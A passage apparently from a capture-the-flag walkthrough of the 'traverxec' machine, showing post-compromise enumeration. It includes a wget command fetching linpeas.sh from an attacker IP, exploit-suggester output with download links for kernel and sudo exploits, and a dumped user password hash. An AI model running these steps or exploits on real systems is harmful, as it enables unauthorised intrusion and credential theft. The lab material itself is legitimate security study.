PEAS


www-data@traverxec:/dev/shm$ wget -q http://10.10.14.17/linpeas.sh ; chmod 755 /dev/shm/linpeas.sh

Delivery complete over HTTP

Executing PEAS

CVEs


╔══════════╣ Executing Linux Exploit Suggester
 https://github.com/mzet-/linux-exploit-suggester
write error: Broken pipe
write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2019-13272] PTRACE_TRACEME
 
   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
   Exposure: highly probable
   Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},[ debian=10{kernel:4.19.0-*} ],fedora=30{kernel:5.0.9-*}
   Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
   Comments: Requires an active PolKit agent.
 
[+] [CVE-2021-3156] sudo Baron Samedit
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
 
[+] [CVE-2021-3156] sudo Baron Samedit 2
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
 
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
 
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded
 
[+] [CVE-2019-18634] sudo pwfeedback
 
   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
 to be enabled.do configuration requires pwfeedback

Service


It appears that nostromo has a dedicated service; nostromo.service

Membership


As identified previously, the david user has lots of memberships, including video

Last Logon


The root user has logged on to the system fairly recently This may suggest the root cronjob process

hash


david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/ PEAS was able to pick up the hashstring of the david user for the web application